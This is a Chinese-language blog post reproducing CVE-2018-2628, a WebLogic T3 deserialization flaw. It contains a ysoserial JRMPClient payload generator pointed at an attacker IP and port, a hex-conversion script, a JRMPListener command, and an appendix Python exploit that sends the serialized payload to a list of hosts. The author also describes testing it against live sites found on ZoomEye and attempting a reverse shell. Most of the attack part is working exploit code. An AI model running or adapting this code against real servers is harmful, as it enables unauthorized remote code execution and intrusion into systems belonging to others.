CVE-2018-2628 WebLogic反序列化漏洞复现

前言

  从该漏洞公布到现在也有2天的时间了,最近也比较忙,没时间调,现在忙里偷闲调了下。里面遇到的问题还是蛮多的,写下这篇文章,权当一个记录。

测试POC

  随便在zoomeye上找了几个测试站点,测试了一下(POC放在附录中,绿盟也有web版的POC),测试截图如下:

  当然只是测试漏洞还没有达到目的。

生成Payload

  在T00ls上看到某表哥给出了生成payload的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package test;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;

@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {


public JRMPClient(){

}

public Activator getObject (String command ) throws Exception {
int sep = command.indexOf(58);//:-->58
String host;
int port;

if ( sep < 0 ) {
port = new Random().nextInt('\uffff');
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1)).intValue();
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
// PayloadRunner.run(JRMPClient.class, args);
ObjectPayload payload = (ObjectPayload)JRMPClient.class.newInstance();
Object objBefore = payload.getObject("192.168.0.109:7779");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("1.txt"));
obj.writeObject(objBefore);
System.out.println("1232");
}
}

  对于在渗透测试领域时间较长的前辈们,可能对这个并不陌生,但是对于我这个新手来说,却怎么也生成不了payload。

  由于该洞是15年的反序列化漏洞补丁绕过而形成的,所以我又百度了15年的那个反序列化漏洞,详情请移步JAVA反序列化命令执行漏洞利用详情

  除了以上资料,我还看了很多资料,大概明白了payload的生成方法:eclipse创建一个项目,在该项目下创建一个包test,然后在该包中创建一个JRMPClient.java文件将以上代码放入JRMPClient.java文件,并修改代码中的地址和端口。

1
2
Object objBefore = payload.getObject("47.95.206.199:7779");
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("1.txt"));

  然后在该包的同级目录下创建一个ysoserial目录,将https://github.com/frohoff/ysoserial 下载下来放于此目录下

  完成上面的操作后,我发现里面全是报错.又百度,看文章,发现需要导入外部的ysoserial.jar这个JAR包,如图:

  导入这个jar包以后就不会再报错了。

  然后执行JRMPClient.java文件,则会在目录下生成一个1.txt,这就是payload

转换payload修改poc

1
2
3
4
5
6
7
8
9
10
11
12
13
#!env python
#author hackteam.cn
#coding=utf-8
Str=""
f=open("1.txt","rb")
while True:
tmp=f.read(1)
if len(tmp)==0:
break
else:
Str+=tmp.encode("hex")
f.close()
print Str

  然后将payload替换掉poc开头的PAYLOAD即可。

服务器监听

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 7779 CommonsCollections1 calc

  然后执行POC:

  看到服务器接收到了目标站点的连接,但是尝试反弹shell还是没有成功,使用ping命令去访问dnslog,也没有收到结果

附录

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python
# -*- coding: utf-8 -*-

import socket
import time
import re
import sys

timeout = int(sys.argv[1])
VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
VER_SIG=['\\$Proxy[0-9]+']
vul_no = []
vul_yes = []
vul_more_test = []

def t3handshake(sock,server_addr):
print '正在连接服务器...'
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)


def buildT3RequestObject(sock,port,server_addr):
print '%s:%d连接成功,正在发送请求...' %(server_addr[0],server_addr[1])
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
lendate = len(sock.recv(2048))
print '发送有效载荷请求成功,接收长度:%d'%(lendate)
return lendate

def sendEvilObjData(sock,data,lendate):
print '正在执行载荷,请稍等...'
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
start = time.time()
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
end =time.time()
timeend = end-start
if lendate == 0 and timeend > timeout:
break
except Exception as e:
pass
return res

def checkVul(res,server_addr,index):
print '执行结果:'
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print '%s:%d 存在 %s 漏洞。'%(server_addr[0],server_addr[1],VUL[index])
vul_yes.append(server_addr)
else:
print '%s:%d 不存在 %s 漏洞。' % (server_addr[0],server_addr[1],VUL[index])
vul_no.append(server_addr)


def run(index):
with open("url.txt",'r') as lists:
for server_addr in lists:
server_addr=server_addr.strip('\n\r')
dip=server_addr.split(':')[0]
global dport
dport=int(server_addr.split(':')[1])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
server_addr = (dip, dport)
try:
t3handshake(sock,server_addr)
except Exception as e:
print '%s:%d连接失败,请检查IP是否存活...' %(server_addr[0],server_addr[1])
else:
try:
lendate = buildT3RequestObject(sock,dport,server_addr)
rs=sendEvilObjData(sock,PAYLOAD[index],lendate)
# print 'rs',rs
except Exception as e:
print '%s:%d请求频繁,请稍后自行单独测试...' %(server_addr[0],server_addr[1])
vul_more_test.append(server_addr)
else:
checkVul(rs,server_addr,index)
finally:
sock.close()

print '='*50
print '检测完成!'
print '以下IP存在CVE-2018-2628漏洞:'
for yes in vul_yes:
print '%s:%s' % (yes[0],yes[1])
print '='*50
print '以下IP不存在漏洞:'
for no in vul_no:
print '%s:%s' % (no[0],no[1])
print '='*50
print '以下IP请求频繁,需单独自行测试:'
for more in vul_more_test:
print '%s:%s' % (more[0],more[1])
print '='*50


if __name__=="__main__":
run(0)